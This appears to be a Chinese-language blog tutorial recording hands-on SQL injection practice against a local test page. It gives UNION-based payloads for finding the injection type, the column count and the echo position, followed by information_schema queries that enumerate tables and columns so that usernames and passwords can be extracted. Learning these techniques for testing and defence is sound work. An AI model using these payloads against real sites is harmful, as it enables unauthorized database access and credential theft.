SQL注入的一次实操记录

1.sql注入点类型判断

  对于一个sql注入点,存在两种不同的类型整型和字符串型,不同类型的sql语句存在差异

列如,假设有变量$id,当其为字符串型时,sql语句为:

SELECT * FROM user WHERE id = '$id';

而当$id为整型时,语句为:

SELECT * FROM user WHERE id = $id;

这导致注入的内容会存在差异,因此在注入前需要确定类型

可以使用下面的语句:

127.0.0.1/index.php?id=2-1

如果注入点为整型,则页面将返回id=1的页面,这是因为数据库在处理2-1时将其视为计算式,会自动计算出值为1;如果注入点为字符串型,则页面估计将没有显示,因为没有查询结果。

2.使用UNION进行注入

UNION是sql语句中的关键字,作用是连接两个SELECT语句并将选择结果合并,要求前后两个SELECT语句所选择的列数相同,否则会出现语法错误,因此在使用UNION之前,需要先确定前一个语句选择的列数,有下面两种方法:

  1. 尝试注入UNION SELECT 1;UNION SELECT 1,2;UNION SELECT 1,2,3;…直到页面能够正常显示
    比如访问127.0.0.1/index.php?id=1 UNION SELECT 1时页面报错,而127.0.0.1/index.php?id=1 UNION SELECT 1,2时页面能够正常显示,则说明前一个语句选择的列数为2列
  2. 使用ORDER BY,order by 功能是将选择结果按某一列排序,尝试ORDER BY 1;ORDER BY 2;ORDER BY 3;…直到页面不能正常显示
    比如访问127.0.0.1/index.php?id=1 ORDER BY 1时页面正常显示,而127.0.0.1/index.php?id=1 ORDER BY 2页面不能正常显示,说明前一个语句选择的列数为1列

确定列数之后,还需要确认页面回显位置,方式也很简单,假设列数为4,访问页面127.0.0.1/indexphp?id=1 UNION SELECT 1,2,3,4时发现页面中多出一项“3”,则该网页的回显位置为3,此时已经可以正式开始sql注入

常用获取信息的函数

  • version():返回数据库的版本号
  • current_user():返回当前登入数据库的用户
  • database():返回当前正在使用的数据库的名称

使用方法是将函数插入回显位置,对上面的例子就是127.0.0.1/index.php?id=1 UNION SELECT 1,2,version(),4此时就可在页面中看到服务器mysql的版本号

3.获取数据库信息

通过上一步的操作,已经获得了mysql的版本信息,如果MySQL的版本高于5,则可以在MySQL提供的数据库information_shema中,查询到所有可用的表和列的名称。
通过语句:

SELECT table_name FROM information_schema.tables
SELECT column_name FROM information_schema.columns

但这只能单独列出表和列的名称,无法知道表和列之间的关联,为了解决问题可以选择同时显示表和列:

SELECT concat(table_name,"|",column_name) FROM information_schame.columns

此时已经能够获得数据库中所有的表,列以及表和列的对应关系,所以我们可以通过构造sql语句访问所有表中的数据,也可以获取用户的用户名和登录密码。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值